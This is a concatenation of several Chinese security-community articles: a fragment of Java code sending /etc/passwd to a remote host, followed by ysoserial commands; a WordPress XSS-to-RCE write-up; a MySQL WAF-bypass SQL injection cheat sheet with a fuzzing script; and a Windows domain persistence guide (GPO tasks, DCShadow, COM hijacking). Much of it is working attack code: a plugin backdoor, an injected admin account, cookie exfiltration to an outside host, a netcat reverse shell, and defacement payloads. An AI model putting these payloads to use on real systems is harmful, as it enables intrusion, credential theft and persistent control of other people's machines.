for (int i = 0; i < fileLists.length; i++) {
java.io.OutputStream out = s.getOutputStream();
out.write(fileLists[i].getName().getBytes());
out.write("\n".getBytes());
}
// 获取文件内容
java.io.File file = new java.io.File("/etc/passwd");
java.io.InputStream in = null;
in = new java.io.FileInputStream(file);
int tempbyte;
java.net.Socket s = new java.net.Socket("eval.com",8768);
while ((tempbyte = in.read()) != -1) {
java.io.OutputStream out = s.getOutputStream();
out.write(tempbyte);
}
in.close();
s.close();
然后操作如下：
# 修改替换{{内容}}
# 开启监听端口
# 建议采用ceye的dnslog查看
# 执行时合并为一行，为了好看，我换了下行
java -cp ysoserial-5am3.jar ysoserial.exploit.JRMPListener 8099
CommonsBeanutils1 'code:{{javapayload}}'
# 生成链接JRMPListener的payload
# ip端口那里填写运行第4行脚本的主机地址端口
java -jar ./ysoserial-5am3.jar JRMPClient2 {{10.0.0.1:8099}} | base64
# 监听端口数据
nc -lnvp 2333
# 此时将第10行生成的代码，直接打到远程即可。
p.s. /flag是个文件夹 | 社区文章 |
## 引子
前段时间我阅读了Sucuri Security的brutelogic的一篇博客以及ppt，对xss有了一些新的理解。
在我们真实场景下遇到xss漏洞的时候，我们常常会使用
<script>alert(1)</script>
来验证站点是否存在漏洞（PoC），为了不触及敏感信息，我们往往不会深入研究XSS的危害程度，很多人都只知道Cross-Site
Scripting（XSS）可以窃取cookie，模拟admin请求，但事实上在复杂环境下，我们可以使用XSS完成复杂的攻击链。
## 测试环境
Wordpress v4.8.0(默认配置)
UpdraftPlus v1.13.4
Yoast SEO v5.1
WP Statistics v12.0.9
以下的所有研究会围绕Wordpress 的 WP Statistics爆出的一个后台反射性xss(CVE-2017-10991)作为基础。
漏洞详情：
当Wordpress的站点装有版本小于等于v12.0.9的WP Statistics插件时，其中top-referring.php页面中的`rangestart`和`rangeend`参数没有经过任何过滤就输出在页面内，形成了一个xss漏洞。
POC:
在Firefox浏览器中点击以下链接,就会执行函数`alert(1)`函数
http://mywordpress.com/wp-admin/admin.php?page=wps_referrers_page&rangeend=123123"><script>alert(1)</script>
## 什么是XSS？
Cross-site
scripting（XSS）是一种Web端的漏洞，它允许攻击者通过注入html标签以及JavaScript代码进入页面，当用户访问页面时，浏览器就会解析页面，执行相应的恶意代码。
一般来说，我们通常使用XSS漏洞来窃取用户的Cookie，在httponly的站点中，也可能会使用XSS获取用户敏感信息。
我们从一段简单的php包含xss漏洞的demo代码来简单介绍下XSS漏洞。
<?php
$username = $_GET['user'];
echo "Hello, $username";
?>
当我们传入普通的username时候，返回是这样的
当我们插入一些恶意代码的时候
我们插入的
<script>alert(1)</script>
被当作正常的js代码执行了
让我们回到之前的测试环境中
我们可以通过一个漏洞点执行我们想要的js代码。
## 盗取Cookie
在一般的通用cms下呢，为了通用模板的兼容性，cms本身不会使用CSP等其他手段来防护xss漏洞，而是使用自建的过滤函数来处理，在这种情况下，一旦出现xss漏洞，我们就可以直接使用xhr来传输cookie。
简单的demo如下
<script>
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xxxx', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('cookie='+document.cookie)
</script>
这里我们可以直接使用xhr来传递cookie，但可惜的是，由于wordpress的身份验证cookie是httponly，我们无法使用简单的`documen.cookie`来获取cookie。
但无情的是，我们可以通过和别的问题配合来解决这个问题。在这之前，我们先来回顾一种在brutelogic的ppt中提到的xss2rce的利用方式。
通过这其中的思路，我们可以在整个wordpress站点中执行我们想要的任何攻击。
## Xss to Rce
在wordpress的后台，有一个编辑插件的功能，通过这个功能，我们可以直接修改后台插件文件夹的任何内容。
而在默认下载的Wordpress中，都会包含Hello Dolly插件，通过修改这个插件内容并启动插件，我们可以执行想要的任何代码。
但在这之前，我们首先要了解一下，wordpress关于csrf的防御机制，在wordpress中引入了`_wpnonce`作为判断请求来源的参数。
在一般涉及到修改更新等操作的时候，会调用`check_admin_referer()`函数来判断传入的wpnonce是否和该操作计算的nonce值相等，后台部分代码如下：
function wp_verify_nonce( $nonce, $action = -1 ) {
$nonce = (string) $nonce;
$user = wp_get_current_user();
$uid = (int) $user->ID;
if ( ! $uid ) {
/**
* Filters whether the user who generated the nonce is logged out.
*
* @since 3.5.0
*
* @param int $uid ID of the nonce-owning user.
* @param string $action The nonce action.
*/
$uid = apply_filters( 'nonce_user_logged_out', $uid, $action );
}
if ( empty( $nonce ) ) {
return false;
}
$token = wp_get_session_token();
$i = wp_nonce_tick();
// Nonce generated 0-12 hours ago
$expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce'), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 1;
}
// Nonce generated 12-24 hours ago
$expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );
if ( hash_equals( $expected, $nonce ) ) {
return 2;
}
这其中i参数固定，action参数为不同操作的函数名，uid为当前用户的id，token为当前用户cookie中的第三部分。
也就是说，即便不方便读取，我们也可以使用直接计算的方式来获得wpnonce的值，完成攻击。
这里我们使用从页面中读取wpnonce的方式，nonce在页面中是这样的
<input type="hidden" id="_wpnonce" name="_wpnonce" value="00b19dcb1a" />
代码如下
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
通过这段js，我们可以向hello.php写入php code。
http://127.0.0.1/wordpress4.8/wp-content/plugins/hello.php
getshell，如果服务端权限没有做设置，我们可以直接system弹一个shell回来，导致严重的命令执行。
s = '<?=`nc localhost 5855 -e /bin/bash`;';
但正如XSS漏洞存在的意义，getshell或者rce本身都很难替代xss所能达到的效果，我们可以配合php的代码执行，来继续拓展xss的攻击面。
## xss的前端攻击
在wordpress中，对用户的权限有着严格的分级，我们可以构造请求来添加管理员权限的账号，用更隐秘的方式来控制整个站点。
poc:
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/user-new.php';
user = 'ddog';
pass = 'ddog';
email = '[email protected]';
a = new XMLHttpRequest();
a.open('GET', url+p, 0);
a.send();
ss = '_wpnonce_create-user=' + /nonce_create-user" value="([^"]*?)"/.exec(a.responseText)[1] +
'&action=createuser&email='+email+'&pass1='+pass+'&pass1-text='+pass+'&pass2='+pass+'&pw_weak=on&role=administrator&user_login='+user;
b = new XMLHttpRequest();
b.open('POST', url+p, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
后台已经被添加了新的管理员账号
但即便是我们通过添加新的管理员账号获取了网站的管理员权限，我们还是不可避免的留下了攻击痕迹，但其实我们通过更隐秘的方式获取admin账号的cookie。
还记得上文中提到的php代码执行吗，利用注入页面的phpinfo，我们可以获取httponly的cookie。
当然，我们仍然需要构造连接整个攻击过程的js代码。
// 写入phpinfo
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?php phpinfo();?>';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
// 请求phpinfo
b.onreadystatechange = function(){
if (this.readyState == 4) {
p_url = url + 'wp-content/plugins/hello.php';
c = new XMLHttpRequest();
c.open('GET', p_url, 0);
c.send();
sss = /HTTP_COOKIE <\/td><td class="v">[\w=;% \-\+\s]+<\/td/.exec(c.responseText)
// 将获取到的cookie传出
var d = new XMLHttpRequest();
d.open('POST', 'http://xxx', true);
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie='+sss)
}
}
成功收到了来自目标的cookie。
虽然我们成功的收到了目标的cookie，但是这个cookie可能在一段时间之后就无效了，那么怎么能把这样的一个后门转化为持久的攻击呢。这里我还是建议使用hello
holly这个插件。
这个插件本身是一个非常特殊的插件，在启用情况下，这个插件会被各个页面所包含，但细心的朋友可能会发现，在前面的攻击过程中，由于我们不遵守插件的页面格式，页面内容被替换为`<?php
phpinfo();?>`的过程中，也同样的不被识别为插件，我们需要将页面修改为需要的页面格式，并插入我们想要的代码。
当hello.php为这样时，应该是最简页面内容
<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
那么我们来构造完整的攻击请求
1、构造xss攻击链接->管理员点击->修改插件目录的hello.php->启动hello, holly插件->访问首页->触发攻击
2、hello.php页面直接获取cookie发出。
hello.php
<?php
/*
Plugin Name: Hello Dolly
Version: 1.6
*/
?>
<script>
var d = new XMLHttpRequest();
d.open('POST', 'http://xxx', true);
d.setRequestHeader("Content-type","application/x-www-form-urlencoded");
d.send('cookie=<?php echo urlencode(implode('#', $_COOKIE))?>');
</script>
这部分的代码看似简单，实际上还有很大的优化空间，就比如：
1、优化执行条件：通过和远控（xss平台）交互，获取时间戳，和本地时间做对比，如果时间不符合要求不执行，避免管理员在后台的多次访问导致xss平台爆炸。
2、通过代码混淆等方式，将代码混淆入原本的代码中，避免安全类防御工具在站内扫面时发现此页面。
这里我就不做深究了，完整的写入poc如下
// 写入后门
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '%3C%3Fphp%0A%2f%2a%0APlugin%20Name%3A%20Hello%20Dolly%0AVersion%3A%201.6%0A%2a%2f%0A%3F%3E%0A%3Cscript%3E%0Avar%20d%20%3D%20new%20XMLHttpRequest%28%29%3B%20%0Ad.open%28%27POST%27%2C%20%27http%3A%2f%2f0xb.pw%27%2C%20true%29%3B%20%0Ad.setRequestHeader%28%22Content-type%22%2C%22application%2fx-www-form-urlencoded%22%29%3B%0Ad.send%28%27cookie%3D%3C%3Fphp%20echo%20urlencode%28implode%28%27%23%27%2C%20%24_COOKIE%29%29%3F%3E%27%29%3B%0A%3C%2fscript%3E';
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&file=hello.php';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
// 开启插件
b.onreadystatechange = function(){
if (this.readyState == 4) {
// 解开启插件的请求回来
c = new XMLHttpRequest();
c.open('GET', url+'wp-admin/plugins.php', 0);
c.send();
sss = /(data-plugin="hello.php)[\w\s"\'<>=\-选择你好多莉\/[\].?&;]+/.exec(c.responseText);
sss = /plugins.php([\w.?=&;]+)/.exec(sss)[0];
sss = sss.replace(/&/gi, '&')
// 开启插件
d = new XMLHttpRequest();
d.open('GET', url+'wp-admin/'+sss, 0);
d.send();
// 跳回首页
setTimeout('location.href='+url+'wp-admin/',2000);
}
}
事实上，由于wordpress的特殊性，我们可以通过xss来请求安装插件来简化上面的攻击链，简化整个流程，当我们访问：
http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=wp-crontrol&_wpnonce=391ece6c0f
wp就会自动安装插件，如果我们将包含恶意代码的模块上传到插件库中，通过上述请求自动安装插件，再启用插件，那么一样可以完整整个攻击。
## xss的破坏式利用
上文中主要是展示了xss配合特性对前端渗透的一些攻击方式，但是很多时候渗透的目的并不一定要隐秘，对于黑产或者其他目的的渗透来说，可能会有一些破坏式的利用方式。
当攻击者的目的并不是为了渗透，而是为了恶作剧、挂黑页，甚至只是为了单纯的搞挂网站，那么就不需要那么复杂的利用链，可以用一些更简单的方法。
<img src=//upload.wikimedia.org/wikipedia/commons/f/fd/Hack.png style=width:100%;height:100%>
这种方式一般应用于储存性xss漏洞点，比较接近恶作剧性质，因为不会危害到网站安全。
<iframe src="xxxxx" style="border:0;position: absolute;top: 0;right: 0;width: 100%;height: 100%" onload="{dom xss}"
通过上述payload，我们可以配合xss漏洞来造成点击劫持，或者更复杂的利用方式。这种漏洞一般比较适合新闻类站点的xss漏洞，在wordpress上我没找到合理的利用方式，就不展示demo了，贴一张brutelogic在ppt中的demo截图。
红箭头指向的标题是被xss修改后的标题。配合一些社工手段，这样的利用方式可能会造成大于攻击网站本身的破坏。
当然，还可以有更彻底的方式。在wordpress的插件yoast seo中，包含一个自带的功能可以修改整战根目录的.htaccess文件。
通过修改.htaccess，我可以直接让整个站跳到黑页、广告页等，达成我们想要的目的。
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/admin.php?';
q = 'page=wpseo_tools&tool=file-editor';
s = "%23%20BEGIN%20WordPress%0A%3CIfModule%20mod_rewrite.c%3E%0ARedirect%20%2fwordpress4.8%20https%3A%2f%2florexxar.cn%0A%3C%2fIfModule%3E%0A%23%20END%20WordPress";
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
ss = '_wpnonce=' + a.responseText.match(/nonce" value="([^"]*?)"/g)[1].match(/\w+/g)[2] +
'&htaccessnew=' + s + '&submithtaccess=Save+changes+to+.htaccess';
b = new XMLHttpRequest();
b.open('POST', url+p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send(ss);
甚至如果想要使整个站出错，可以直接设置.htaccess内容为`deny from all`，那样整个站就会返回403，拒绝用户访问。
当然除了攻击网站以外，我们可以通过使用xss来注入恶意payload到页面，当用户访问页面时，会不断地向目标发起请求，当网页的用户量达到一定级别时，可以以最低的代价造成大流量的ddos攻击。几年前就发生过类似的事情，攻击者利用搜狐视频评论的储存型xss，对目标产生了大流量的ddos，这种攻击成本低，持续时间长，对攻击者还有很强的隐秘性。
<http://www.freebuf.com/news/33385.html>
攻击和防护的一些思路见
<https://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html>
在前面部分的内容，花了大篇幅来描述XSS在前台中的影响，关于后台的部分只有一部分通过编辑插件实现的XSS to Rce.但实际上还有更多拓展的可能。
## XSS的后端利用
这里首先介绍一个WordPress的插件UpdraftPlus，这是一个用于管理员备份网站的插件，用户量非常大，基本上所有的wordpress使用者都会使用UpdraftPlus来备份他们的网站，在这个插件中，集成了一些小工具，配合我们xss，刚好可以实现很多特别的攻击链。
首先是phpinfo，前面提到，我们可以修改hello
holly这个插件来查看phpinfo，但是如果这个默认插件被删除了，而且又没有合适的方式隐藏phpinfo页面，那么我们可以通过UpdarftPlus来获取phpinfo内容。
这个链接地址为
wp-admin/admin-ajax.php?page=updraftplus&action=updraft_ajax&subaction=phpinfo&nonce=cbe6c0b062
除了phpinfo以外，我们还可以使用内建的curl工具，这个工具没有对请求地址做任何限制，那么我们就可以使用这个工具来ssrf或者扫描内网。
curl的链接
wp-admin/admin-ajax.php?action=updraft_ajax&subaction=httpget&nonce=2f2f07ce90&uri=http://127.0.0.1&curl=1
配合js，poc如下：
url = window.location.href;
url = url.split('wp-admin')[0];
p = 'wp-admin/options-general.php?';
p2 = 'wp-admin/admin-ajax.php?';
q = 'page=updraftplus&tab=addons';
s = "http://111111111";
a = new XMLHttpRequest();
a.open('GET', url+p+q, 0);
a.send();
q2 = 'nonce=' + /credentialtest_nonce='([^']*?)'/.exec(a.responseText)[1] +
'&uri=' + s + '&action=updraft_ajax&subaction=httpget&curl=1';
// 发起请求
b = new XMLHttpRequest();
b.open('GET', url+p2+q2, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send();
b.onload = function(){
if (this.readyState == 4) {
// 传出请求结果
var c = new XMLHttpRequest();
c.open('POST', 'http://0xb.pw', true);
c.setRequestHeader("Content-type","application/x-www-form-urlencoded");
c.send('result='+encodeURIComponent(b.responseText))
}
}
请求成功了，事实上，如果XSS的交互脚本写的足够好，这里完全可以实现对内网的渗透。
## END：拓展与思考
整篇文章其实是我在对wordpress源码审计时候的一些思考，对于大部分通用类的cms，开发者往往过于相信超级管理员，其中wordpress就是典型代表，开发者认为，网站的超级管理员应该保护好自己的账户。
在这种情况下，一个后台的反射形XSS漏洞往往会造成远远超过预期的危害。一个反射性XSS配合一些设计问题会导致全站的沦陷。
但反射性XSS总有一些缺点
1、指向性明显，链接必须要网站的超级管理员点击才有效，在实际使用中，你可能很难获知网站的超级管理员是谁。
2、必须点击链接，最低要求也必须要访问包含你恶意链接的页面。
幸运的是，我们仍然有拓展攻击的方式，在@呆子不开口 FIT2017的议题中，他提到一部分poc的反分析办法，根据这个思路，我们优化我们的poc。
一个完成的恶意链接，甚至可以搭配上js蠕虫，将入侵成功的站点再次演变为新的恶意链接，这样整个攻击链就形成了。
上面所有涉及到的js都上传到了我的[github](https://github.com/LoRexxar/xss_essay)上。欢迎来社区进行讨论。 | 社区文章 |
#### 0x01 前言
最近在网上搜集学习到关于 mysql 注入的操作，故做一个小总结。
#### 0x02 测试
[我的WafBypass之道 （SQL注入篇）](https://xz.aliyun.com/t/368)这篇文章结尾部分提到的，把每个 SQL
关键字两侧可插入的点称之为”位“，类似下图：
我要总结的这些操作，也是围着这五个位，下面开始。
##### 位置一
(1)注释符
`/**/ %23 --+ /*!50000union*/`
id=2/**/union select 1,user,3 from admin
(2)空白符
`%09,%0a,%0b,%0c,%0d,%20,%a0`
id= 1 %0a union select 1,user,3 from admin
(3)科学计算法
`e .`
id= 2e0 union select 1,user,3 from admin
id= 1.union select 1,user,3 from admin
id= 1.1union select 1,user,3 from admin
还有%1%2E %2%2E %3%2E
id= 1' %1%2Eunion select user(),2 %23
(4)单引号双引号
id= 1' 'xx'union select user(),2 %23
id= 1' ""union select user(),2 %23
需要闭合的先闭合，然后成对使用单双引号
(5)x@
假设SQL语句为：select * from article where id = '2'
`%@ *@ -@ +@ /@ <@ =@ >@ ^@ |@ %26@ -@'' -@"" -@@new`
id=' -@ union select 1,2 ,3 %23
id=' %26@ union select 1,2 ,3 %23
id=' -@'' union select 1,2 ,3 %23
id=' -@@new union select 1,2 ,3 %23
(6){x key}
假设SQL语句为：select * from article where id = '2'
id=' and {x -2} union select 1,2,3 %23
id=' || !{`x` -2} union select 1,2,3 %23
id=' || !{`x` -@} union select 1,2,3 %23
id=' and {x id} union select 1,2,3 %23
id=' and {x id} union select 1,2,3 %23
id=' and {id (select/**/--0)}union select 1,2,3 %23
(7) 其他
\Nunion select 1,2,3 %23
null union select 1,2,3 %23
(8)函数
and MD5('a') union select 1,password,database() from users--+
and binary @ union select 1,password,3 from users--+
and ST_X(Point(1, 2)) union select 1,password,database() from users--+
更多[内置函数](https://dev.mysql.com/doc/refman/5.6/en/sql-function-reference.html)查看
##### 位置二
(1) 空白符
`%09,%0a,%0b,%0c,%0d,%20`
id= 1 union%0aselect 1,user,3 from admin
(2)注释
`/*!*/ /**/`
id= 1 union /**/select 1,user,3 from admin
(3)括号
union(select 1,(password),3,4,5,6 from(users)) %23
(4) ALL | DISTINCT | DISTINCTROW
union ALL select 1,password,3 from users %23
(5)函数分隔
%09%0A
%0D%0b
%0b%0A
%09%0C
%09%23%0A
--%0A
%23%0A
--+\N%0A
%23%f0%0A
...
union%23%0Aselect 1,password,3 from users %23
union-- xx%0Aselect 1,password,3 from users %23
##### 位置三
(1) 空白符
`%09,%0a,%0b,%0c,%0d,%20`
union select %09 1,password,3 from users %23
(2)注释
`/*!*/ /**/`
union select /**/ 1,password,3 from users %23
(3) ALL | DISTINCT | DISTINCTROW
union select ALL 1,password,3 from users %23
(4) {} ()
union select{x 1},password,3 from users %23
union select(1),password,3 from users %23
(5)符号
`+ - @ ~ !`
union select+1,password,3 from users %23
`" ' 单双引号`
union select""a1,password,3 from users %23
union select+1,password,3 from users %23
组合
+@ +'' -@ -'' ~@ ~'' ~"" !@ !"" @$ @. \N$
...
union select+@a1,password,3 from users %23
union select\N$a1,password,3 from users %23
(6)函数
union select MD5('a') |1,2,database() from users--+
union select reverse('xx'),password,3 from users %23
union select ST_X(Point(1, 2))a,2,database() from users--+
更多[内置函数](https://dev.mysql.com/doc/refman/5.6/en/sql-function-reference.html)查看
##### 位置四
(1) 空白符
`%09,%0a,%0b,%0c,%0d,%20,%23,%27`
-1' union select 1,2,user()%23from users--+
(2)注释
`/*!*/ /**/`
-1' union select 1,2,user()/**/from users--+
(3) 反引号
1' union select 1,2,password ``from users`` --+
(4)花括号
1' union select 1,2,{x password}from users --+
1' union select 1,2,(password)from users --+
(5) 符号
\N
1' union select 1,password,\Nfrom users --+
单双引号
1' union select 1,user(),""from users --+
e .
1' union select 1,password,3e1from users --+
1' union select 1,password,3.1from users --+
组合
\N%0C \N%23 \N%27 %7E\N %21\N %27\N %2D\N %7E\N %2D%2D%0A
%27-- --%40 --%27 --""
...
1' union select 1,user(),\NXXXX%23from users --+
1' union select 1,user(),%27XXXX--from users --+
##### 位置五
(1) 空白符
`%09,%0a,%0b,%0c,%0d,%20,%2E`
1' union select 1,2,user() from%0dusers--+
(2)注释
`/*!*/ /**/`
-1' union select 1,2,user() from /**/users--+
(3)花括号
1' union select 1,user(),3 from(users) --+
1' union select 1,user(),3 from{x users} --+
#### 0x03 FUZZ
很多时候，单一姿势是无法奏效绕过的，有些姿势也是需要大量 FUZZ 得到，使用大量字符编码对 SQL 语句的“位”进行
FUZZ，编写了一个简单Python脚本演示。
##### Python脚本
import requests
import itertools
List = ['%20','%09','%0a','%0b','%0c','%0d','%2d%2d','%23','%a0','%2D%2D%2B','%5C%4E','\\N']
count = 0
num = 2 #fuzz num 个字符组合
target = 'http://localhost/sqli-labs-master/Less-1/?id=-1\' '
for i in itertools.product(List,repeat=num):
count += 1
print(count,':',len(List)**num)
str = ''.join((i))
payload = '{}union select 1,user(),3 from users %23'.format(str)
url = target + payload
req = requests.get(url=url)
if "root@localhost" in req.text:
print(url)
with open("result.txt",'a',encoding='utf-8') as r:
r.write(str + "\n")
##### 云锁
fuzz 位置一利用空白字符、注释、浮点数等生成2个字符组成的有效 payload
Burp跑下，得到状态为 200 就是绕过的字符串，这里建议请求访问频率设置慢点，太快会被ban ip。
绕过
##### cloudflare
#### 0x04 参考
<https://mp.weixin.qq.com/s/qG_m7YXvEw2PwFXQDj6_qw>
<https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/>
<https://xz.aliyun.com/t/368> | 社区文章 |
# Windows 下的权限维持
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在完成一个前期的渗透测试，获取到最高权限过后，后面最主要的任务就是，对目标的权限维持，方便对目标的持续性控制。本文就简单介绍几种常用的权限维持的方法。
## 0x01 GPO
**GPO介绍：** 组策略保存为组策略对象（GPO），然后将其与Active
Directory对象（如站点，域或组织单位（OU））相关联。组策略可以包括安全选项，注册表项，软件安装，启动和关闭脚本以及域成员刷新组策略设置（默认情况下每隔90分钟一次）（域控制器为5分钟）。这意味着组策略在目标计算机上强制执行配置的设置。在大多数Active
Directory实现中，在域上至少配置了一个GPO，用于定义强制密码，Kerberos和域范围策略;至少一个为域控制器OU配置的GPO;至少为服务器和工作站OU配置了一个GPO。这两个GPO的名称都一样，但是ObjectID是不一样的。
所以我们可以给一个普通域用户赋予DC的sysvol完全控制权限，修改文件做到命令执行的效果，以此来达到权限维持。
先给普通用户加给权限：
icacls C:WindowsSYSVOLsysvolhack.com /grant lemo:"(OI)(CI)(F)" /t
我这里使用powershell把文件复制到上面，使用默认有的domain policy，修改ScheduledTasks.xml是不会执行的：
假设原来域中就有执行计划任务的GPO（这里可以使用powerview里面的[New-GPOImmediateTask](https://github.com/PowerShellMafia/PowerSploit/blob/26a0757612e5654b4f792b012ab8f10f95d391c9/Recon/PowerView.ps1#L5907)来创建），我们再来修改这个文件，重启或者等90分钟就可以执行其中的计划任务命令了：
powershell代码：
<#
icacls C:WindowsSYSVOLsysvoltest.com /grant test1:"(OI)(CI)(F)" /t
icacls C:WindowsSYSVOLsysvoltest.com /remove test1 /t
#>
function Set-ScheduleXml{
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True)]
[String]
[ValidateNotNullOrEmpty()]
$GpoTaskXMLPath,
[String]
[ValidateNotNullOrEmpty()]
$Cmd
)
$schedulexml = '<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="Debugging" image="0" changed="2019-01-20 06:02:04" uid="{9ccbe17e-5c25-4c68-a010-93f0420512ba}" userContext="0" removePolicy="0"><Properties action="C" name="Debugging" runAs="NT AUTHORITYSystem" logonType="InteractiveToken"><Task version="1.3"><RegistrationInfo><Author>NT AUTHORITYSystem</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>NT AUTHORITYSystem</UserId><RunLevel>HighestAvailable</RunLevel><LogonType>InteractiveToken</LogonType></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>false</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><AllowStartOnDemand>false</AllowStartOnDemand><Enabled>true</Enabled><Hidden>true</Hidden><ExecutionTimeLimit>PT0S</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter><RestartOnFailure><Interval>PT15M</Interval><Count>3</Count></RestartOnFailure></Settings><Actions Context="Author"><Exec><Command>powershell</Command><Arguments>-c "powershellcmd"</Arguments></Exec></Actions><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers></Task></Properties></ImmediateTaskV2></ScheduledTasks>'
$schedulexml = $schedulexml.Replace('powershellcmd', $cmd)
$TaskXMLPath = $GpoTaskXMLPath + '/ScheduledTasks.xml'
$schedulexml | Set-Content -Encoding ASCII -Path $TaskXMLPath
}
Set-ScheduleXml -GpoTaskXMLPath '\hackdcSYSVOLhack.comPolicies{595D4D1F-5018-413D-8177-DE7089C40117}UserPreferencesScheduledTasks' -Cmd 'ipconfig /all|out-file c:tempnew.txt'
## 0x02 用户对象属性
通过修改dcshadow的方式修改SIDHistory，所控制的windows必须关闭防火墙:
lsadump::dcshadow /object:lemo /attribute:sidhistory /value:S-1-5-21-1863527717-1245757989-2975568438-500
lsadump::dcshadow /push
修改之后的lemo用户属性：
Primarygroupid:
先移除sidhistory:
Set-ADUser -Identity lemo -Remove @{SIDHistory='S-1-5-21-1863527717-1245757989-2975568438-500'}
lsadump::dcshadow /object:lemo /attribute:primarygroupid /value:512
lsadump::dcshadow /push
## 0x03 COM劫持
什么是COM对象：COM（组件对象模型）被Microsoft描述为“独立于平台，分布式，面向对象的系统，用于创建可以交互的二进制组件”。
该技术的目的是提供一个接口，允许开发人员控制和操纵其他应用程序的对象。 每个COM对象都由一个名为CLSID的唯一ID定义。 例如，用于创建Internet
Explorer实例的CLSID是{0002DF01-0000-0000-C000-000000000046}。大多数COM类都在操作系统中注册，并由表示注册表中的类标识符（CLSID）的GUID标识（通常在HKCR
CLSID或HKCU Software Classes CLSID，HKLMSOFTWAREClassesCLSID下）。
列出当前所有的COM对象：
这里还有各种系统的常见COM对象：
https://github.com/ohpe/juicy-potato/tree/master/CLSID
关于clsid中键值的意义：`http://www.cnblogs.com/developersupport/archive/2013/06/02/COM-registry.html`
在COM类的实现背后是在CLSID下的注册表项中LocalServer32键表示可执行（exe）文件的路径，InprocServer32键表示动态链接库（DLL）文件的路径，并且HKCU中的CLSID值优先于HKLM中的CLSID。所以利用下面这个[reg文件](https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr.reg)注册一个COM对象：
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USERSoftwareClassesScripting.Dictionary]
@=""
[HKEY_CURRENT_USERSoftwareClassesScripting.DictionaryCLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USERSoftwareClassesCLSID{00000001-0000-0000-0000-0000FEEDACDC}]
@="Scripting.Dictionary"
[HKEY_CURRENT_USERSoftwareClassesCLSID{00000001-0000-0000-0000-0000FEEDACDC}InprocServer32]
@="C:\WINDOWS\system32\scrobj.dll"
"ThreadingModel"="Apartment"
[HKEY_CURRENT_USERSoftwareClassesCLSID{00000001-0000-0000-0000-0000FEEDACDC}ProgID]
@="Scripting.Dictionary"
[HKEY_CURRENT_USERSoftwareClassesCLSID{00000001-0000-0000-0000-0000FEEDACDC}ScriptletURL]
@="https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct"
[HKEY_CURRENT_USERSoftwareClassesCLSID{00000001-0000-0000-0000-0000FEEDACDC}VersionIndependentProgID]
@="Scripting.Dictionary"
实际渗透中可以自己创建一个COM对象，但一般都是寻找到机器上一个可用的COM对象或者直接修改已有的对象。然后找到一个COM调用的DLL文件是不存在的，然后放入自己的DLL文件，每次调用那个COM时，你的DLL就会执行。判断文件是否存在：
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$LocalServer32paths = $inproc | ForEach {$_.LocalServer32}
